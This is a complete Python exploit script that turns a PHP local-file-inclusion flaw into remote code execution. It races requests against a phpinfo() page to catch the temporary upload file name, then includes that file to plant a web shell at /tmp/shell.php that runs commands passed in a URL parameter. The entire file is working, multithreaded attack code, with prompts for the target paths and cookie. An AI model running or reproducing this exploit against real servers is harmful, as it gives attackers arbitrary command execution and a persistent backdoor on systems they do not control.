phpinfo_exploit.py

import sys
import threading
import socket

def setup(host, port, path1, path2,cookie):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/shell.php','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST """ + path1 + """a="""+padding+""" HTTP/1.1\r
Cookie: """ + cookie + """; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
    LFIREQ="""GET """ + path2 + """%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    print "\nSample output According to your input \n"
    print "PHPInfo final location: \n"
    print """POST """ + path1 + """a="""+padding+""" HTTP/1.1"""
    print "\n\nLFI final location: \n"
    print LFIREQ % ("/tmp/phpdWOBHP", host)
    print "-="*30

    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))
    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt;")
        fn = d[i+17:i+31]
    except ValueError:
        return None
#    print lfireq % (fn, host)
    s2.send(lfireq % (fn, host))
    d = s2.recv(409600)
    s.close()
    s2.close()
    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "\n\nHurray!!! Shell created in /tmp/shell.php"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt;")
    if i == -1:
        raise ValueError("No tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    path1 = raw_input("PHPInfo location: ")
    print "\n"
    path2 = raw_input("LFI location ex:(/chall.php?a=../../..): ")
    print "\n"
    cookie = raw_input("Give Cookie ex:(PHPSESSID=hey): ")
    if(path1.endswith(".php")):
        path1=path1+"?"
    else:
        path1=path1+"&"

    print "\n\nRCE With PHPInfo() using Race-Condition\n"
    print "-=" * 30

    reqphp, tag, reqlfi = setup(host, port, path1, path2,cookie)
    print "\n\nFinding tmp_name..." + "\n",
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 50000
    e = threading.Event()
    l = threading.Lock()

    print "\nThread working on the same:  %d..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Now you are able to do RCE!!!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "\nShuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    print "Starting..."
    main()